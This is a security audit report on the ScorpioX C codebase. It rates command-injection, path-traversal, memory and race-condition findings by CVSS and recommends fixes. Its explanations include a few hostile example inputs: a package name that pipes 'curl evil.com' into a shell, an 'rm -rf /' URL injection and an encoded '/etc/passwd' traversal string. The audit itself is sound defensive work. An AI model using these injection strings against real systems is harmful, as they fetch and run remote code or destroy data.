The ScorpioX codebase is a substantial C project comprising a TUI client, HTTP/WebSocket server, DNS server, SMTP/IMAP email subsystem, container engine, and multiple utility programs. The codebase demonstrates generally sound security practices — no classic strcpy/strcat/sprintf/gets calls were found in project-owned code, and snprintf is used consistently (2,282 instances). However, significant risks exist in command injection via system()/popen() (118+ call sites), large stack-allocated buffers, and several areas lacking bounds/null checks.
| # | Severity | CVSS | Location | Category | Description |
|---|---|---|---|---|---|
| V-01 | CRITICAL | 9.8 | scorpiox-server.c:1568-1652 | Command Injection | CGI env vars embedded in Windows cmd /C via system() — sanitization strips only 6 chars |
| V-02 | HIGH | 8.6 | scorpiox-websearch.c:222 | Command Injection | URL passed to popen() via scorpiox-fetch "%s" — shell metachar injection possible |
| V-03 | HIGH | 8.1 | scorpiox-unshare.c:1245 | Command Injection | which %s via system() with package name from config — no input validation |
| V-04 | HIGH | 7.5 | scorpiox-wsl.c:676-878 | Command Injection | system() with 16KB command buffer built from user inputs, wsl.exe -d %s |
| V-05 | HIGH | 7.5 | scorpiox-whatsapp.c:620-983 | Command Injection | Multiple system() calls with tmux commands from message data |
| V-06 | HIGH | 7.4 | bridge/ws2tcp.c:504 | Path Traversal (Weak) | strstr(url_path, "..") check bypassable via encoded traversal (%2e%2e) |
| V-07 | MEDIUM | 6.5 | sxmail_dkim.c:414 | Stack Buffer Overflow | 32KB sign_data[32768] on stack — bounds checked but excessive stack usage |
| V-08 | MEDIUM | 6.5 | scorpiox-wsl.c:676,721 | Stack Exhaustion | 16KB + 12KB stack buffers (cmd[16384], inner[12288]) risk stack overflow |
| V-09 | MEDIUM | 6.2 | sxmux_session.c:1841 | Type Confusion | Comparison always false due to limited range of data type (compiler warning) |
| V-10 | MEDIUM | 5.9 | scorpiox-vi.c:191,424,447,472 | Unchecked realloc | realloc() returns checked but original pointer lost — if realloc fails, E.out_buf/line->data/E.lines become NULL, causing silent data loss |
| V-11 | MEDIUM | 5.5 | Multiple (118+ sites) | System Command Pattern | Pervasive snprintf(cmd) + system(cmd) pattern throughout codebase |
| V-12 | MEDIUM | 5.3 | scorpiox-server.c:897-914 | TOCTOU | access() then realpath() then fopen() — race window between check and use |
| V-13 | LOW | 4.3 | sxmux_session.c:248 | Missing Error Check | fscanf(pf, "%lld", &created_ts) return value not checked |
| V-14 | LOW | 4.0 | scorpiox-claudecode-fetchtoken.c | Missing Headers | 33 compiler warnings — missing #include for standard library functions (implicit declarations) |
| V-15 | LOW | 3.7 | sxmux_session.c:1776,1832 | Dead Code | Unused variables rtype — indicates possible incomplete implementation |
| V-16 | LOW | 3.5 | scorpiox-openai.c:73 | Unchecked realloc | realloc without NULL check — silent crash on OOM |
| V-17 | INFO | 2.0 | Multiple files | Large Stack Buffers | 60+ instances of stack buffers ≥4096 bytes; 10+ files use ≥8192 bytes |
| V-18 | INFO | 1.5 | scorpiox-server.c:3079-3083 | Signal Safety | signal() used instead of sigaction() — non-portable behavior |
The codebase demonstrates excellent discipline in avoiding classic unsafe functions:
| Function | Occurrences | Assessment |
|---|---|---|
strcpy() | 0 (project code) | ✅ Clean — only yyjson_mut_obj_add_strcpy() API calls (safe) |
strcat() | 0 (project code) | ✅ Clean — only appears in KQL keyword list as string literal |
sprintf() | 0 | ✅ Clean — all formatting uses snprintf() |
gets() | 0 | ✅ Clean |
vsprintf() | 0 | ✅ Clean |
snprintf() | 2,282 | ✅ Consistently used as safe alternative |
| File | Buffer | Size | Risk |
|---|---|---|---|
sxmail_dkim.c:414 | sign_data[32768] | 32KB | Stack overflow on limited-stack threads |
scorpiox-wsl.c:676 | cmd[16384] | 16KB | Stack pressure in nested call chains |
scorpiox-wsl.c:721 | inner[12288] | 12KB | Combined with above: ~28KB on one function |
sxmail_imap.c:135 | buf[8192] | 8KB | In network read loop |
sxtmux_backend_tmux.c:65 | cmd[8192] | 8KB | System command buffer |
scorpiox-unshare.c:2410 | masked[8192] | 8KB | Stack-allocated mask buffer |
snprintf() with proper size limits. The risk is primarily stack exhaustion rather than overflow.
sscanf Width Limits — LOW RISK28 sscanf/fscanf calls were found. Most use width specifiers:
sscanf(line, "%47s %255s", commit, ref) — ✅ Width-limitedsscanf(ent->d_name, "%4d_%2d_%2d_", ...) — ✅ Width-limitedfscanf(pf, "%d", &pid) — ✅ Integer scan, no overflow risksscanf(line, "%255s %15s %63s %63s %63s", ...) — ✅ All width-limitedNo unbounded %s scans were found.
No format string vulnerabilities were identified:
printf() family calls use string literal format specifiersSX_LOG macros use __VA_ARGS__ pattern with proper format stringsprintf(variable) patterns found (only one printf(ANSI_CLEAR ...) with compile-time constant)vfprintf(stderr, fmt, ap) in ws2tcp.c:logmsg() receives format from code-controlled fmt parameter| Location | Pattern | Risk |
|---|---|---|
sxmux_vt.c:282,311,910 | calloc((size_t)cols (size_t)rows, sizeof(SxMuxCell)) | Medium — cols×rows could overflow if values are attacker-controlled |
sxmux_vt.c:918 | calloc((size_t)scrollback_cap (size_t)cols, sizeof(SxMuxCell)) | Medium — multiplication overflow |
scorpiox-tmux.c:2420 | malloc((size_t)n 6 + 1) | Low — n×6 could overflow for very large n |
scorpiox-vi.c:512 | malloc(sizeof(Line) E.num_lines) | Low — multiplication overflow possible |
sxmail_maildir.c:478 | malloc((size_t)fsize + 1) | Low — fsize from ftell(), +1 cannot overflow |
Most realloc uses a doubling pattern (cap * 2). While size_t overflow is theoretically possible, practical exploitation requires near-maximum allocations.
if (a > SIZE_MAX / b) return NULL;
| Operation | Count | NULL-checked |
|---|---|---|
malloc() | 288 | ~95% checked ✅ |
calloc() | 98 | ~90% checked ✅ |
realloc() | 109 | ~85% checked ⚠️ |
strdup() | 409 | Varies ⚠️ |
free() | 1,277 | N/A |
Several realloc() calls lose the original pointer on failure:
// scorpiox-vi.c:191 — Original pointer lost on failure
E.out_buf = realloc(E.out_buf, E.out_cap);
if (!E.out_buf) return; // Memory leak: old buffer not freed
// scorpiox-vi.c:424
line->data = realloc(line->data, line->cap);
if (!line->data) return; // Memory leak + data loss
// scorpiox-openai.c:73
b->data = realloc(b->data, b->cap); // No NULL check at all
Correct pattern (used elsewhere in codebase):
char *tmp = realloc(buf, newcap);
if (!tmp) { / handle error, buf still valid / }
buf = tmp;
All free() calls are followed by NULL assignment or are in cleanup paths. No double-free patterns detected.
409 strdup() calls exist. While most are used in non-critical paths, some should be audited for NULL handling in memory-constrained environments (e.g., WASM builds).
This is the highest-risk category in the codebase. 118+ system() calls and 40+ popen() calls were identified.
scorpiox-server.c:1560-1652
On Windows, CGI environment variables (from HTTP headers) are embedded into a cmd /C command string:
pos += snprintf(cmd + pos, cmd_size - pos, "set \"%s=%s\" && ", env_name, safe_val);
The SX_SANITIZE_CMD macro only strips: " & | ^ < >. This misses:
\n, \r) — can break out of set command `) — command substitution in some shells — Windows environment variable expansion (%PATH%) — delayed expansion in cmd.exe
snprintf(cmd, sizeof(cmd),
"scorpiox-fetch \"%s\" -f html --user-agent \"%s\" 2>/dev/null", url, USER_AGENT);
FILE *fp = popen(cmd, "r");
If
url contains shell metacharacters (e.g., "; rm -rf /; #), they will be interpreted by /bin/sh. The double-quote wrapping is insufficient — a " in the URL breaks out.
Impact: Arbitrary command execution if URL input is not pre-sanitized upstream.
5.3 V-03: Package Name Injection (HIGH)
File: scorpiox-unshare.c:1245
snprintf(wcmd, sizeof(wcmd), "which %s >/dev/null 2>&1", tok);
if (system(wcmd) != 0) { all_present = 0; break; }
tok comes from a comma-separated package list. If this list originates from user configuration, shell injection is possible (e.g., package name: bash;curl evil.com|sh).
5.4 V-04: WSL Command Construction (HIGH)
File: scorpiox-wsl.c:676-878
Multiple
system() calls construct commands from name (distro name) and command parameters without shell escaping:
snprintf(cmd, sizeof(cmd), "wsl.exe -d %s -- %s /bin/bash -l", name, ep);
return system(cmd);
5.5 V-05: WhatsApp Bridge Command Injection (HIGH)
File: scorpiox-whatsapp.c:620-983
system(cmd); // Line 620 - bridge launch
system(tmux_cmd); // Line 831 - tmux command from message data
5.6 General Pattern
The
snprintf → system() pattern is used pervasively across:
sxtmux_backend_tmux.c (5 system calls)
sxtmux_backend_sxmux.c (3 system calls)
scorpiox-vault-git.c (2 system calls)
scorpiox-unshare.c (15+ system calls)
scorpiox-vm.c (2 system calls)
sx.c (8 system calls)
Recommendation: Replace system() with fork()/execv() using argv arrays to avoid shell interpretation entirely, as already done in sx_exec.c:108 for timeout cases.
6. Path Traversal Analysis — MEDIUM RISK ⚠️
6.1 V-06: ws2tcp Static File Serving
File: bridge/ws2tcp.c:504
if (strstr(url_path, "..")) {
// blocked
}
This check is insufficient:
- URL-encoded traversal (
%2e%2e/etc/passwd) bypasses it
The path has already gone through parse_http_request() but URL decoding is NOT applied to the path
However, raw .. in HTTP request paths is caught
Mitigating factor: No URL decoding happens before the check, so %2e stays as %2e in the path and won't resolve to .. on the filesystem. Risk is low but defense-in-depth is missing.
6.2 Server Path Validation — GOOD ✅
scorpiox-server.c uses realpath()/_fullpath() canonicalization + prefix checking — this is the correct approach and blocks symlink-based traversal.
Minor TOCTOU issue (V-12): access() → is_path_within_dir() → execlp() has a race window where the file could be swapped between check and execution.
7. Race Condition Analysis — LOW-MEDIUM RISK ⚠️
7.1 Threading Model
The codebase uses pthreads in several components:
sx_dll.c: Worker thread with mutex+condvar (properly synchronized)
sx_cache_keepalive.c: Background keepalive thread (properly synchronized)
scorpiox-server.c: Git poll thread (uses pthread_sigmask correctly)
Thread safety assessment: Mutex usage appears correct. The sx_dll.c queue implementation uses proper locking patterns.
7.2 Signal Handlers
36 signal handler registrations found. Most use
signal() rather than sigaction():
signal(SIGINT, handle_signal); // Non-portable, can reset to SIG_DFL
signal(SIGTERM, handle_signal);
signal(SIGCHLD, reap_children); // Race between signal delivery and wait()
Issues:
signal() has undefined behavior regarding handler reset on some platforms
reap_children in scorpiox-server.c may have SIGCHLD race with popen()/pclose() — though the code explicitly blocks SIGCHLD during popen() calls (good)
7.3 TOCTOU Patterns
- V-12:
access() → realpath() → execute in scorpiox-server.c — low-probability race
scorpiox-unshare.c: Multiple access() checks before system() — but operates in controlled container context
7.4 Global Mutable State
sx.c uses extensive global state (g_chat, g_loading, etc.) but is single-threaded in the main event loop. The DLL interface (sx_dll.c) properly protects shared state with mutexes.
8. Compiler Warning Analysis
Compilation with
-Wall -Wextra -Wformat-security -Wformat=2 produced:
File Warnings Type scorpiox-claudecode-fetchtoken.c 33 Missing includes, implicit declarations sxmux_session.c 3 Unused variables, type-limits comparison scorpiox-multiplexer.c 3 Unused variables bridge/ws2tcp.c 1 Minor 10 other files 1 each Macro redefinitions
Notable: scorpiox-claudecode-fetchtoken.c has 33 warnings including implicit function declarations for socket functions (socket, connect, getaddrinfo). This means the compiler doesn't verify argument types, creating silent truncation/type-mismatch risks.
9. Null Pointer Dereference Analysis — LOW RISK
malloc() return values are checked in ~95% of cases ✅
fopen() returns are consistently checked ✅
getenv() returns appear to be used safely (checked or with defaults)
strdup() returns are occasionally unchecked ⚠️
CVSS Risk Scoring Summary
Finding CVSS 3.1 Vector Score Severity V-01 CGI Injection AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 9.8 Critical V-02 URL Injection AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 8.6 High V-03 Pkg Injection AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H 8.1 High V-04 WSL Injection AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 7.5 High V-05 WhatsApp Injection AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 7.5 High V-06 Path Traversal AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 7.4 High V-07 Stack Buffer AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H 6.5 Medium V-08 Stack Exhaustion AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 6.5 Medium V-09 Type Confusion AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L 6.2 Medium V-10 Realloc Safety AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H 5.9 Medium V-11 System Pattern AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N 5.5 Medium V-12 TOCTOU AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N 5.3 Medium
Remediation Recommendations
Priority 1 — Critical (Fix Immediately)
V-01: Replace Windows cmd /C set pattern with CreateProcess() + environment block API (SetEnvironmentVariable / lpEnvironment parameter). The current sanitization is insufficient for cmd.exe metacharacters.
V-02: Use execv() with an argument array instead of popen() with shell-interpreted commands for scorpiox-fetch. Example:
char *argv[] = {"scorpiox-fetch", url, "-f", "html", "--user-agent", USER_AGENT, NULL};
// Use fork()/execvp() with pipe for output capture
Priority 2 — High (Fix in Next Release)
V-03 through V-05: Audit all system() call sites and replace with fork()/exec() where input comes from configuration or external sources. Create a helper function:
int sx_exec_argv(const char prog, char const argv[], char **output);
V-06: Add URL decoding before path traversal check in ws2tcp.c, or use realpath() canonicalization as done in scorpiox-server.c.
Priority 3 — Medium (Scheduled Fix)
V-10, V-16: Fix all realloc() calls to use temp pointer pattern:
void *tmp = realloc(ptr, newsize);
if (!tmp) { / error handling / }
ptr = tmp;
V-07, V-08: Move large stack buffers (>8KB) to heap allocation with proper cleanup.
V-12: Use open() with O_NOFOLLOW and fstat() after open to eliminate TOCTOU.
Priority 4 — Low (Best Practice Improvements)
Replace signal() with sigaction() throughout for portable behavior.
Add overflow-safe multiplication helper for allocation arithmetic.
Fix scorpiox-claudecode-fetchtoken.c missing includes.
Add -Wformat-security to default build flags in CMakeLists.txt.
Positive Security Observations
No unsafe string functions — Zero strcpy/strcat/sprintf/gets in 127K LOC
Consistent snprintf usage — 2,282 bounded format calls
Good malloc NULL checking — ~95% coverage
Proper mutex usage — Thread synchronization in sx_dll.c is correct
Path canonicalization — realpath() used in server for path validation
SIGCHLD blocking during popen — Prevents race in scorpiox-server.c
Bounded sscanf — All %s` scans use width specifiers